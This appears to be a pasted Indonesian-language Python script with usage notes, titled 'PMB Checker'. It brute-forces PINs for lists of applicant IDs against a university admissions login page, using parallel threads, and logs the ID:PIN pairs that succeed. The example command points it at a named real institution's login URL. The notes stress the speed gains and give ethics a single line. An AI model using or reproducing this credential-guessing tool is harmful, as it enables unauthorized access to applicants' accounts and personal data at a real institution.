PMB Checker
2025-05-28 06:52:36 - zdgtl
import requests from bs4 import BeautifulSoup from concurrent.futures import ThreadPoolExecutor import argparse # Membaca file TXT ke dalam daftar def load_data(file_path): try: with open(file_path, "r") as file: data = file.read().splitlines() # Membaca setiap garis return data except FileNotFoundError: print(f"File {file_path} tidak ditemukan.") return [] # Fungsi untuk login dengan cookies baru def validate_login_new_cookies(url, id_pendaftar, pin): try: # Buat session baru untuk setiap percobaan session = requests.Session() # Step 1: Lakukan request awal untuk mengambil cookies atau token response_initial = session.get(url) if response_initial.status_code != 200: print(f"Gagal melakukan request awal untuk ID: {id_pendaftar}") return False # Jika ada token atau elemen lain di halaman login yang dibutuhkan, kita bisa parse dengan BeautifulSoup soup = BeautifulSoup(response_initial.text, 'html.parser') token = soup.find('input', {'name': '_token'})['value'] if soup.find('input', {'name': '_token'}) else None # Step 2: Siapkan data login data_login = { "idpendaftar": id_pendaftar, "pin": pin, "act": "login", "_token": token if token else "DEFAULT_TOKEN" # Gunakan token jika ada } # Step 3: Kirim POST request dengan cookie bersih response = session.post(url, data=data_login, allow_redirects=False) # Periksa status login berdasarkan respons if response.status_code == 302 and "Location" in response.headers: if "/biodata" in response.headers["Location"]: # Contoh jika redirect ke halaman biodata return True return False except Exception as e: print(f"Terjadi kesalahan: {str(e)}") return False # Fungsi untuk mencoba login pada satu ID Pendaftar def process_single_user(url, id_pendaftar, pins, berhasil_file, gagal_file): print(f"Memproses ID Pendaftar: {id_pendaftar}") for pin in pins: print(f" Mencoba PIN: {pin}") if validate_login_new_cookies(url, id_pendaftar, pin): print(f" Login berhasil dengan PIN: {pin}") with open(berhasil_file, "a") as file: file.write(f"{id_pendaftar} : {pin}\n") return # Berhenti mencari jika login sudah berhasil # Jika semua PIN gagal print(f" Login gagal untuk ID Pendaftar: {id_pendaftar}") with open(gagal_file, "a") as file: file.write(f"{id_pendaftar} : Tidak ada PIN yang cocok\n") # Fungsi untuk memproses banyak login (dengan threading) def process_logins(pendaftar_file, pin_file, url, berhasil_file, gagal_file, max_threads): id_pendaftar_list = load_data(pendaftar_file) pins = load_data(pin_file) if not id_pendaftar_list: print("Tidak ada ID Pendaftar yang bisa diperiksa.") return if not pins: print("Tidak ada PIN yang bisa diuji.") return # Bersihkan file hasil open(berhasil_file, "w").close() open(gagal_file, "w").close() with ThreadPoolExecutor(max_threads) as executor: futures = [ executor.submit(process_single_user, url, id_pendaftar, pins, berhasil_file, gagal_file) for id_pendaftar in id_pendaftar_list ] # Menunggu semua threads selesai for future in futures: future.result() print("Proses selesai.") # Main Function dengan Argparse if __name__ == "__main__": parser = argparse.ArgumentParser(description="Script Login Multithreaded") parser.add_argument("-p", "--pendaftar_file", required=True, help="Path ke file daftar Pendaftar") parser.add_argument("-pfile", "--pin_file", required=True, help="Path ke file daftar PIN") parser.add_argument("-url", "--url_login", required=True, help="URL untuk login") parser.add_argument("-t", "--threads", default=5, type=int, help="Jumlah thread yang digunakan") parser.add_argument("-b", "--berhasil_file", default="berhasil.txt", help="File output untuk login berhasil") parser.add_argument("-g", "--gagal_file", default="gagal.txt", help="File output untuk login gagal") args = parser.parse_args() # Jalankan fungsi utama process_logins( pendaftar_file=args.pendaftar_file, pin_file=args.pin_file, url=args.url_login, berhasil_file=args.berhasil_file, gagal_file=args.gagal_file, max_threads=args.threads, )
Cara Menjalankan Skrip dengan Threads
- Pastikan Anda sudah menginstal pustaka berikut:
pip install requests beautifulsoup4
- Jalankan script di terminal dengan parameter -t untuk jumlah thread:
python script.py -p pendaftar.txt -pfile pin.txt -url https://pmb.hangtuah.ac.id/login -t 10 -b berhasil.txt -g gagal.txt
Penjelasan tiap parameter:
-p atau --pendaftar_file: File TXT dengan daftar ID Pendaftar. -pfile atau --pin_file: File TXT dengan daftar PIN. -url atau --url_login: URL halaman login. -t atau --threads: Jumlah thread yang digunakan untuk proses paralel (default: 5). -b atau --berhasil_file: File untuk menyimpan login berhasil (default: berhasil.txt). -g atau --gagal_file: File untuk menyimpan login gagal (default: gagal.txt).
Kelebihan Threading
- Proses Lebih Cepat:
- Dengan menjalankan beberapa login secara paralel, waktu eksekusi dapat dipercepat secara signifikan.
- Skalabilitas:
- Anda dapat menaikkan atau menurunkan jumlah thread sesuai dengan spesifikasi mesin dan kebutuhan.
- Fleksibilitas:
- Jumlah thread dapat diatur dengan argumen -t, tanpa perlu mengubah kode.
Contoh Output
Jika dijalankan dengan -t 10, akan terlihat bahwa 10 proses login dijalankan secara paralel.
Di akhir eksekusi:
- berhasil.txt mencatat login yang berhasil.
- gagal.txt mencatat ID Pendaftar yang semua PIN-nya gagal.
Catatan Penting
- Gunakan Threads Dengan Bijak:
- Terlalu banyak threads pada mesin dengan sumber daya terbatas dapat menyebabkan bottleneck atau rate-limiting dari server target.
- Etika Penggunaan:
- Pastikan penggunaan script ini sesuai dengan kebijakan akses dan privasi server target.
Semoga membantu dan semakin mempercepat proses Anda! 🚀